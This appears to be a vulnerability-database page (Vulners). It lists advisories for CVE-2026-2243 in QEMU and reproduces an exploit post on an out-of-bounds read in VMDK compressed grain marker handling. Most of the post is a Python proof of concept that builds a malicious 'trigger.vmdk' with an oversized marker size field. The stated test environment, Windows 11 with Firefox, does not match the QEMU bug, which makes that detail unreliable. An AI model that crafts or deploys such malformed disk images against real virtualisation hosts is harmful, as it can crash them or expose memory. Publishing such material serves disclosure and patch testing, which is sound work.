| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
| CVE-2026-2243 | 19 Feb 202617:47 | – | attackerkb | |
| Amazon Linux 2 : qemu, --advisory ALAS2-2026-3182 (ALAS-2026-3182) | 6 Mar 202600:00 | – | nessus | |
| openSUSE 16 Security Update : qemu (openSUSE-SU-2026:20567-1) | 22 Apr 202600:00 | – | nessus | |
| Oracle Linux 8 : virt:kvm_utils3 (ELSA-2026-50239) | 27 Apr 202600:00 | – | nessus | |
| Oracle Linux 9 : qemu-kvm (ELSA-2026-50241) | 28 Apr 202600:00 | – | nessus | |
| Ubuntu 22.04 LTS / 24.04 LTS / 25.10 : QEMU vulnerabilities (USN-8161-1) | 13 Apr 202600:00 | – | nessus | |
| Linux Distros Unpatched Vulnerability : CVE-2026-2243 | 19 Feb 202600:00 | – | nessus | |
| Medium: qemu | 6 Mar 202600:00 | – | amazon | |
| CVE-2026-2243 | 19 Mar 202600:00 | – | circl | |
| QEMU 缓冲区错误漏洞 | 19 Feb 202600:00 | – | cnnvd |
=============================================================================================================================================
| # Title : Improper Bounds Validation in VMDK Grain Marker Handling Leading to Potential Out-of-Bounds Read |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
=============================================================================================================================================
[+] Summary : A flaw may exist in the handling of compressed grain markers within the VMDK monolithicSparse format.
If the size field in a grain marker is not properly validated against the remaining cluster boundary (excluding the marker header size),
the decompression routine may process more data than safely available. This can potentially result in an out-of-bounds read condition due to improper bounds checking.
The issue stems from failing to ensure that the declared compressed data size does not exceed the actual buffer space after accounting for
the marker structure. Proper validation of marker size, boundary checks, and strict decompression limits are required to prevent memory safety violations.
[+] POC :
import struct
def create_malicious_vmdk(filename):
magic = b"KDMV"
version = struct.pack("<I", 1)
flags = struct.pack("<I", 3) # VMDK4_COMPRESSION_MARKER
capacity = struct.pack("<Q", 2048)
granularity = struct.pack("<Q", 128)
desc_offset = struct.pack("<Q", 1)
desc_size = struct.pack("<Q", 1)
rg_size = struct.pack("<I", 1)
gd_offset = struct.pack("<Q", 0)
header = magic + version + flags + capacity + granularity + \
desc_offset + desc_size + rg_size + gd_offset
header = header.ljust(512, b'\x00')
lba = struct.pack("<Q", 0)
malicious_size = 64 * 1024
size = struct.pack("<I", malicious_size)
marker = lba + size
data = b"\x78\x9c\x03\x00\x00\x00\x00\x01"
data = data.ljust(malicious_size, b'\x41')
with open(filename, "wb") as f:
f.write(header)
f.write(marker)
f.write(data)
print(f"[*] Created malicious file: {filename}")
print(f"[*] Marker size set to: {malicious_size} bytes")
if __name__ == "__main__":
create_malicious_vmdk("trigger.vmdk")
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation